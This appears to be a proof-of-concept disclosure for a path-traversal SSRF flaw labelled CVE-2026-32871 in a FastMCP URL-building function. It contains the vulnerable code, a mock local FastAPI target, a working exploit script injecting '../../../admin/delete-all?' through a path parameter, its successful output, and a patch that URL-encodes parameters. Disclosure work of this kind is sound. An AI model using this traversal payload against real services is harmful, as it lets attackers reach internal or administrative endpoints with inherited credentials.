Python CVE-2026-32871

def _build_url(
    self, path_template: str, path_params: dict[str, Any], base_url: str
) -> str:
# Direct string substitution without encoding
    url_path = path_template
    for param_name, param_value in path_params.items():
        placeholder = f"{{{param_name}}}"
        if placeholder in url_path:
            url_path = url_path.replace(placeholder, str(param_value))
# urljoin resolves ../ escape sequences
    return urljoin(base_url.rstrip("/") + "/", url_path.lstrip("/"))

from fastapi import FastAPI, Header, HTTPException
import uvicorn

app = FastAPI()

@app.get("/api/v1/users/{user_id}/profile")
def get_profile(user_id: str):
    return {"status": "success", "user": user_id}

@app.get("/admin/delete-all")
def admin_endpoint(authorization: str = Header(None)):
    if authorization == "Bearer admin_secret":
        return {"status": "CRITICAL", "message": "Administrative access granted"}
    raise HTTPException(status_code=401)

if __name__ == "__main__":
    uvicorn.run(app, host="127.0.0.1", port=8080)

import asyncio
import httpx
from fastmcp.utilities.openapi.director import RequestDirector

async def exploit_ssrf():
# Initialize vulnerable component
    director = RequestDirector(spec={})
    base_url = "http://127.0.0.1:8080/"
    template = "/api/v1/users/{id}/profile"
# Payload: Path traversal to reach /admin/delete-all
# The '?' character neutralizes the rest of the original template
    payload = "../../../admin/delete-all?"
# Construct malicious URL
    malicious_url = director._build_url(template, {"id": payload}, base_url)
    print(f"[*] Generated URL: {malicious_url}")

    async with httpx.AsyncClient() as client:
# Request inherits MCP provider's authorization headers
        response = await client.get(
            malicious_url,
            headers={"Authorization": "Bearer admin_secret"}
        )
        print(f"[+] Status Code: {response.status_code}")
        print(f"[+] Response: {response.text}")

if __name__ == "__main__":
    asyncio.run(exploit_ssrf())

[*] Generated URL: http://127.0.0.1:8080/admin/delete-all?
[+] Status Code: 200
[+] Response: {"status": "CRITICAL", "message": "Administrative access granted"}

import urllib.parse

def _build_url(
    self, path_template: str, path_params: dict[str, Any], base_url: str
) -> str:
    url_path = path_template
    for param_name, param_value in path_params.items():
        placeholder = f"{{{param_name}}}"
        if placeholder in url_path:
# Apply safe URL encoding to prevent traversal attacks
# safe="" ensures ALL special characters are encoded
            safe_value = urllib.parse.quote(str(param_value), safe="")
            url_path = url_path.replace(placeholder, safe_value)

    return urljoin(base_url.rstrip("/") + "/", url_path.lstrip("/"))